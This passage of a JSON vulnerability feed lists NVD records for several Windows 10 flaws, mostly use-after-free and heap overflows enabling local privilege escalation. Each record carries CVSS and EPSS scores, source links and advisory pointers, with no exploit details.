fixes.","publishedAt":"2026-10-13T19:21:57.170Z","updatedAt":"2026-10-16T16:22:52.387Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96325","asOf":"2026-10-16T16:22:52.387Z"},"epss":{"probability":0.01054,"percentile":0.64153,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96325&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96325","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96325","type":"primary","publishedAt":"2026-10-13T19:21:57.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96325","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96325&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96325, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96324","cveId":"CVE-2026-96324","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:56.993Z","updatedAt":"2026-10-16T16:22:52.210Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96324","asOf":"2026-10-16T16:22:52.210Z"},"epss":{"probability":0.00353,"percentile":0.28697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96324&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96324","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96324","type":"primary","publishedAt":"2026-10-13T19:21:56.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96324","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96324&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96324, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96323","cveId":"CVE-2026-96323","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Update allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Update allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Update allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:56.853Z","updatedAt":"2026-10-16T16:22:52.070Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96323","asOf":"2026-10-16T16:22:52.070Z"},"epss":{"probability":0.00279,"percentile":0.20193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96323&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96323","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96323","type":"primary","publishedAt":"2026-10-13T19:21:56.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96323","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96323&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96323, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96322","cveId":"CVE-2026-96322","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:55.323Z","updatedAt":"2026-10-16T16:22:51.890Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96322","asOf":"2026-10-16T16:22:51.890Z"},"epss":{"probability":0.00252,"percentile":0.16461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96322&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96322","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96322","type":"primary","publishedAt":"2026-10-13T19:21:55.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96322","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96322&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96322, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96319","cveId":"CVE-2026-96319","aliases":[],"kind":"vulnerability","title":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:54.877Z","updatedAt":"2026-10-16T16:22:51.480Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96319","asOf":"2026-10-16T16:22:51.480Z"},"epss":{"probability":0.00246,"percentile":0.15675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96319&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96319","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96319","type":"primary","publishedAt":"2026-10-13T19:21:54.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96319","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96319&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96319, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96318","cveId":"CVE-2026-96318","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Resume allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Resume allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Resume allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:54.700Z","updatedAt":"2026-10-16T16:22:51.303Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96318","asOf":"2026-10-16T16:22:51.303Z"},"epss":{"probability":0.00311,"percentile":0.237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96318&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96318","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96318","type":"primary","publishedAt":"2026-10-13T19:21:54.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96318","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96318&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96318, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96317","cveId":"CVE-2026-96317","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:54.550Z","updatedAt":"2026-10-16T16:22:51.153Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96317","asOf":"2026-10-16T16:22:51.153Z"},"epss":{"probability":0.00246,"percentile":0.15676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96317&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96317","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96317","type":"primary","publishedAt":"2026-10-13T19:21:54.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96317","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96317&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96317, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96313","cveId":"CVE-2026-96313","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function in Windows Push Notifications allows an authorized attacker to elevate privileges locally.","summary":"Missing authentication for critical function in Windows Push Notifications allows an authorized attacker to elevate privileges locally.","detail":"Missing authentication for critical function in Windows Push Notifications allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:53.880Z","updatedAt":"2026-10-16T16:22:50.423Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96313","asOf":"2026-10-16T16:22:50.423Z"},"epss":{"probability":0.0022,"percentile":0.12381,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96313","type":"primary","publishedAt":"2026-10-13T19:21:53.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96313","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96312","cveId":"CVE-2026-96312","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:53.710Z","updatedAt":"2026-10-16T16:22:50.243Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96312","asOf":"2026-10-16T16:22:50.243Z"},"epss":{"probability":0.00311,"percentile":0.23699,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96312","type":"primary","publishedAt":"2026-10-13T19:21:53.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96312","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96310","cveId":"CVE-2026-96310","aliases":[],"kind":"vulnerability","title":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:53.400Z","updatedAt":"2026-10-16T16:22:49.797Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96310","asOf":"2026-10-16T16:22:49.797Z"},"epss":{"probability":0.00279,"percentile":0.20191,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96310&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96310","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96310","type":"primary","publishedAt":"2026-10-13T19:21:53.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96310","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96310&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96310, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96309","cveId":"CVE-2026-96309","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:53.263Z","updatedAt":"2026-10-16T16:22:49.657Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96309","asOf":"2026-10-16T16:22:49.657Z"},"epss":{"probability":0.00311,"percentile":0.23699,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96309&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96309","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96309","type":"primary","publishedAt":"2026-10-13T19:21:53.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96309","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96309&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96309, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96308","cveId":"CVE-2026-96308","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:53.087Z","updatedAt":"2026-10-16T16:22:49.480Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96308","asOf":"2026-10-16T16:22:49.480Z"},"epss":{"probability":0.00311,"percentile":0.23699,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96308&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96308","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96308","type":"primary","publishedAt":"2026-10-13T19:21:53.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96308","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 